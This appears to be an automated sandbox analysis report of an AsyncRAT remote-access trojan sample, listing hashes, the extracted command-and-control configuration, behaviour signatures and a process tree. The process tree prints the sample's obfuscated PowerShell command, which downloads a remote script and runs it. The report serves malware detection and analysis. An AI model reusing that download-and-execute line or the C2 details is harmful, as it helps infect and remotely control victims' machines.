asyncrat | e94b5bfcea6689274d9bca93a3d77c03ecbf49e2ca1dff4e3fe8baec0f401b3f

Analysis

max time kernel
84s
max time network
149s
platform
windows10_x64
resource
win10-en
submitted
20/09/2021, 10:45

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General

Target
Agreement_Sep_22nd_2021.vbs
Size 2KB
Sample210920-mtd4ssdgb6
SHA256 e94b5bfcea6689274d9bca93a3d77c03ecbf49e2ca1dff4e3fe8baec0f401b3f
MD5 32594d7ddc394f7a0e8fdbca8622440c
SHA1 38286d249be4e8d2b9634f261a4d21dab0e103ab
SHA512 1db9fa5fd477b0d46a93d0ff4efbfe859cffe6c4b9fd3ec58d867ac782fb629b10f93c77a9c20c70c720c266ccd6a12ccaef5021eb0f3de25ee41677b129a8d0
MD5 SHA1 SHA512

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

rick63.publicvm.com:5900

Mutex

DcRatMutex_qwqdanchun

Attributes

anti_vm
false
bsod
false
delay
1
install
false
install_folder
%AppData%
pastebin_config
null

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/3588-235-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/3588-236-0x000000000040CBBE-mapping.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4004	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLoginWindows32BitsSystem.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3856 set thread context of 3588	3856	powershell.exe	74

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
3856	powershell.exe
3856	powershell.exe
3856	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3588	AppLaunch.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 4004	3972	WScript.exe	69
PID 3972 wrote to memory of 4004	3972	WScript.exe	69
PID 4004 wrote to memory of 3856	4004	powershell.exe	71
PID 4004 wrote to memory of 3856	4004	powershell.exe	71
PID 3856 wrote to memory of 3272	3856	powershell.exe	72
PID 3856 wrote to memory of 3272	3856	powershell.exe	72
PID 3272 wrote to memory of 1784	3272	csc.exe	73
PID 3272 wrote to memory of 1784	3272	csc.exe	73
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74
PID 3856 wrote to memory of 3588	3856	powershell.exe	74

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agreement_Sep_22nd_2021.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EXECUTIONPOLICY REMOTESIGNED -COMMAND IEX ([System.Text.UTF8Encoding]::UTF8.GetString(@(32,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,59,91,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,93,36,87,69,66,61,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,91,83,116,114,105,110,103,93,36,68,111,119,110,108,111,97,100,70,105,108,101,61,39,68,39,43,39,111,39,43,39,119,39,43,39,110,108,111,39,43,39,97,100,39,43,39,70,105,39,43,39,108,39,43,39,101,39,59,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,78,97,109,101,40,36,87,69,66,44,36,68,111,119,110,108,111,97,100,70,105,108,101,44,49,44,64,40,39,104,116,116,112,115,58,47,47,112,97,115,116,101,116,101,120,116,46,110,101,116,47,114,97,119,47,106,118,102,120,99,120,105,122,101,118,39,44,39,67,58,92,85,115,101,114,115,92,80,117,98,108,105,99,92,69,100,103,101,85,112,100,97,116,101,46,80,83,49,39,41,41,59,80,111,119,101,114,83,104,101,108,108,32,45,70,105,108,101,32,67,58,92,85,115,101,114,115,92,80,117,98,108,105,99,92,69,100,103,101,85,112,100,97,116,101,46,80,83,49)))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File C:\Users\Public\EdgeUpdate.PS1
    3⤵
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dq5jdom0\dq5jdom0.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3272
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE03E.tmp" "c:\Users\Admin\AppData\Local\Temp\dq5jdom0\CSC76E063E575B34DDD9D284B35F9EE9297.TMP"
        5⤵
        
        PID:1784
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3588-246-0x0000000009490000-0x0000000009491000-memory.dmp

Download

memory/3588-235-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/3588-251-0x0000000009B30000-0x0000000009B31000-memory.dmp

Download

memory/3588-252-0x000000000A0D0000-0x000000000A0D1000-memory.dmp

Download

memory/3588-253-0x0000000009BD0000-0x0000000009BD1000-memory.dmp

Download

memory/3856-153-0x00000260113F0000-0x00000260113F2000-memory.dmp

Download

memory/3856-229-0x00000260113F6000-0x00000260113F8000-memory.dmp

Download

memory/3856-225-0x000002602AD90000-0x000002602AD91000-memory.dmp

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memory/3856-234-0x0000026029650000-0x0000026029654000-memory.dmp

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memory/3856-154-0x00000260113F3000-0x00000260113F5000-memory.dmp

Download

memory/4004-152-0x000001C2ED416000-0x000001C2ED418000-memory.dmp

Download

memory/4004-142-0x000001C2ED413000-0x000001C2ED415000-memory.dmp

Download

memory/4004-141-0x000001C2ED410000-0x000001C2ED412000-memory.dmp

Download

memory/4004-123-0x000001C2EDA80000-0x000001C2EDA81000-memory.dmp

Download

memory/4004-120-0x000001C2ED7D0000-0x000001C2ED7D1000-memory.dmp

Download